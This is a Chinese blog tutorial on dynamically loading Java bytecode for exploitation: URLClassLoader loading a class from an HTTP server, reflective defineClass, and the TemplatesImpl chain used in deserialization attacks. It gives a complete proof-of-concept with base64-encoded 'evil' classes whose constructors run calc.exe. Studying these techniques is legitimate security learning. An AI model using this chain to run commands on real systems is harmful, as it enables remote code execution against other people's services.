Java篇之Java动态加载字节码

Java动态加载字节码

接着学Java了,前段时间挖了挖洞,过段时间再来写写经历和体会吧,接下来我们来看看Java中动态加载字节码的方法,可以远程加载服务器上的字节码,或者本地的字节码就行

Java字节码是啥

简单点儿说,Java字节码就是.class后缀的文件,里面存放的是Java虚拟机执行使用的一类指令;因为Java也是一门编译型的语言,所以说我们在运行之前需要先编译一遍,编译过后就会形成.class文件,就可以运行在不同平台的JVM虚拟机中了;其实不只是Java语言,像什么ScalaKotlin这样的语言编写的代码,只要能编译成.class文件,都可以在JVM虚拟机中运行了

所以说字节码就是所有能被恢复成一个类,并且能在JVM虚拟机中加载的字节序列,都在我们的探讨范围内,这里偷张p神的图:

image.png

URLClassLoader加载远程class文件

ClassLoader是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认的就是根据类名来加载类,这个类名需要是完整路径,比如说java.lang.Runtime;而这里我们提到的URLClassLoader,是默认加载器AppClassLoader的父类,所以说这个的工作过程实际上就是在介绍默认的Java类加载器的工作流程

首先,java会根据基础路径去寻找class文件来加载,而这个基础路径有三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是 file,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是file ,则使用最基础的Loader来寻找类

所以说咱可以以斜杠/结尾,但又不用file协议,而是使用http协议,这样就可以用Loader来寻找类了

那我们来试试http协议,看能不能从远程http服务器上加载.class文件,首先我们得先编译出一个class文件,源码如下:

1
2
3
4
5
public class eviltest {
public eviltest() throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}

很简单的一个命令执行的代码,只要它新建了eviltest对象,访问了构造方法,它就能弹出计算器,接下来就用javac编译一下,然后将.class文件随便找个目录放着,然后在那个目录用python快速创建一个http服务器:python3 -m http.server

image.png

然后就来写远程加载这个字节码的代码:

1
2
3
4
5
6
7
8
9
10
11
12
import java.net.URL;
import java.net.URLClassLoader;
public class UrlLoaderTest
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("eviltest");
c.newInstance();
}
}

最后那个newInstance相当于就是一个创建对象,那么自然就会调用默认的无参构造方法,运行它:

image.png

很完美,弹出计算器,而且日志上也有体现

ClassLoader#defineClass直接加载字节码

上面我们看到了利用URLClassLoader加载远程字节码,其实也就是Java中默认加载字节码的方法;接下来我们来看看Java加载字节码的方法的调用,无论是远程class文件,或者说本地的class或者jar文件,都是这样调用的

首先是调用ClassLoader类中的loadClass方法,这个方法的作用是从已经加载的类缓存、父加载器等位置去寻找类,在没有找到类的情况下,就会交给ClassLoader类的findClass方法;然后findClass方法就是根据基础路径的方式,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后将字节码交给ClassLoader类的defineClassdefineClass的作用就是处理前面传入的字节码,将其处理为真正的Java类;ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass

所以说真正的核心就是defineClass,它决定了怎么将一段字节流变成Java类,这个逻辑挺复杂的,在JVM中的C语言代码中,这儿就不深究了,直接看看它是咋个加载的就行:

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEADWV2aWx0ZXN0LmphdmEMAAcACAcAFwwAGAAZAQAIY2FsYy5leGUMABoAGwEACGV2aWx0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAAgAEAAMADQAEAAsAAAAEAAEADAABAA0AAAACAA4=");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "eviltest", code, 0, code.length);
hello.newInstance();
}
}

因为defineClass这个方法是受保护的,所以说我们必须通过暴力反射来获取到它,然后这个字节码就是我们前面远程调用的那一段字节码经过了base64加密过后的,然后就是依然创建对象,在对象创建的时候调用无参构造方法,执行命令:

image.png

利用TemplatesImpl加载字节码

前面我们介绍了defineClass,但因为defineClass方法作用域不开放,所以说很难直接利用它,而且大部分上层开发者也不会直接使用到,但是有一些Java底层的类用到了它,而它就是非常经典的TemplatesImpl,在反序列化中这个类是很重要的

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,而在这个类中重写了defineClass方法,而且这个方法并没有显式地声明定义域,也就是说它是一种默认的类型,也就是default类型的,而默认类型的是可以被类外部调用的,这就挺好,有了更大的利用空间了,看看它的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

因为TransletClassLoader是内部类,所以说只允许TemplatesImpl类中的方法调用,那我们就往上看看,有没有方法调用了它,是有的,它就是TemplatesImpl类中的defineTransletClasses()方法,但它是一个private方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

由于它是private方法,所以说不能直接调用,再往上走,看看哪个函数调用了defineTransletClasses()方法,它就是getTransletInstance方法,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法

// The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}

也是private方法,得再往上看,找到了newTransformer()方法,这里就是public方法了,可以直接调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//调用了getTransletInstance方法

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这样一条完整的利用链就下来了:

1
2
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

也就是说只要我们执行newTransformer()方法就能触发利用链了

然后我们还得设置TemplatesImpl对象的三个私有属性,这里我们用反射设置就行,三个属性: _bytecodes _name_tfactory_bytecodes 是由字节码组成的数组; _name 可以是任意字符串,只要不为 null 即可; _tfactory 需要是一个TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。

但是,TemplatesImpl中对加载的字节码还有一定的要求,这个字节码对应的类必须要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,所以我们还得构造一个特殊的类,用这个类生成字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public evil() throws Exception{
super();
String[] command = {"calc.exe"};
Runtime.getRuntime().exec(command);
}
}

编译这个类得到字节码之后,我们就来写POC,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class defineclass {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}

完整代码如上,执行过后就可成功弹出计算器,这是我们手动执行newTransformer触发的,我们还可以用cc链去触发,下篇文章再讲

image.png

利用BCEL ClassLoader加载字节码

这种方法好像还挺重要的,而且生成的bcel字节码也挺奇怪的,这里是通过BCEL提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码;有了字节码之后直接用BCEL ClassLoader加载就行了

这种方法我还没细学,这儿就先不写了

二月份的最后一篇文章咯,明天就是三月份啦,又是一年春天了,祝大家春天一切顺利!

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信